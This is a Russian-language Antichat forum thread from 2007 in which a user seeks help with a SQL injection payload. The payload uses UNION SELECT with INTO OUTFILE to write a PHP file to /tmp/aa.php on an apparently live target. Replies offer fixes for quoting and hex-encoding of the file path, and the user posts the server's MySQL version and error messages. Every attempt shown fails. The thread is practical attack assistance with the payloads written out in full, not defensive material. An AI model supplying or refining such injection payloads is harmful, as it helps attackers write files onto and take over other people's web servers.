ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Оффтоп > Болталка
Перезагрузить страницу Need help SQL inj
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Need help SQL inj
  #1  
Старый 24.11.2007, 20:46
Аватар для ExceLenT
ExceLenT
Новичок
Регистрация: 12.08.2006
Сообщений: 2
Провел на форуме:
66481

Репутация: 0
Отправить сообщение для ExceLenT с помощью ICQ
По умолчанию Need help SQL inj
Вобщем при вводе такова кода в строку
Код:
-1+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,0x66726f6d205b2063617368205d207768697468206c6f7665202929292929,null,null,null,null+from+users+into+outfile(char(39)+/tmp/aa.php+char(39))/*
пишется
Код:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(char(39) /tmp/aa.php char(39))/*' at line 1
пробовал разные варианты, в чём суть то ошибки ?
 
Ответить с цитированием

  #2  
Старый 24.11.2007, 20:52
Аватар для blackybr
blackybr
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
Провел на форуме:
8042357

Репутация: 3742


Отправить сообщение для blackybr с помощью ICQ Отправить сообщение для blackybr с помощью AIM Отправить сообщение для blackybr с помощью Yahoo
По умолчанию
+into+outfile+'/tmp/aa.php'/*
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
Последний раз редактировалось blackybr; 24.11.2007 в 20:56..
 
Ответить с цитированием

  #3  
Старый 24.11.2007, 21:22
Аватар для ExceLenT
ExceLenT
Новичок
Регистрация: 12.08.2006
Сообщений: 2
Провел на форуме:
66481

Репутация: 0
Отправить сообщение для ExceLenT с помощью ICQ
По умолчанию
Цитата:
Сообщение от blackybr  
+into+outfile+'/tmp/aa.php'/*
Получил
Код:
the right syntax to use near '\'/tmp/aa.php\'/*' at line 1
 
Ответить с цитированием

  #4  
Старый 24.11.2007, 21:28
Аватар для Scipio
Scipio
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
Провел на форуме:
5939734

Репутация: 1917


Отправить сообщение для Scipio с помощью ICQ
По умолчанию
не выйдет у тебя эта фигня, кавычки экранируются, в into outfile это не как не обойдешь
никакими чарами, никакими хексами
__________________
Карфаген должен быть разрушен...
 
Ответить с цитированием

  #5  
Старый 24.11.2007, 22:54
Аватар для Spyder
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию
версию узнай
если >5 то можешь через хекс обойти
 
Ответить с цитированием

  #6  
Старый 25.11.2007, 15:21
Аватар для ExceLenT
ExceLenT
Новичок
Регистрация: 12.08.2006
Сообщений: 2
Провел на форуме:
66481

Репутация: 0
Отправить сообщение для ExceLenT с помощью ICQ
По умолчанию
Цитата:
Сообщение от Spyder  
версию узнай
если >5 то можешь через хекс обойти
Как ?
Код:
 5.0.38-Ubuntu_0ubuntu1
 
Ответить с цитированием

  #7  
Старый 25.11.2007, 15:23
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию
Цитата:
Сообщение от ExceLenT  
Как ?
Код:
 5.0.38-Ubuntu_0ubuntu1
/tmp/aa.php ==> 0x2f746d702f61612e706870
into+outfile+0x2f746d702f61612e706870
__________________
..
 
Ответить с цитированием

  #8  
Старый 25.11.2007, 15:29
Аватар для ExceLenT
ExceLenT
Новичок
Регистрация: 12.08.2006
Сообщений: 2
Провел на форуме:
66481

Репутация: 0
Отправить сообщение для ExceLenT с помощью ICQ
По умолчанию
Нифига
Код:
 the right syntax to use near '0x2f746d702f61612e706870' at line 1
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Обзор уязвимостей] Oracle Solide Snake Уязвимости 7 28.11.2007 23:11
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ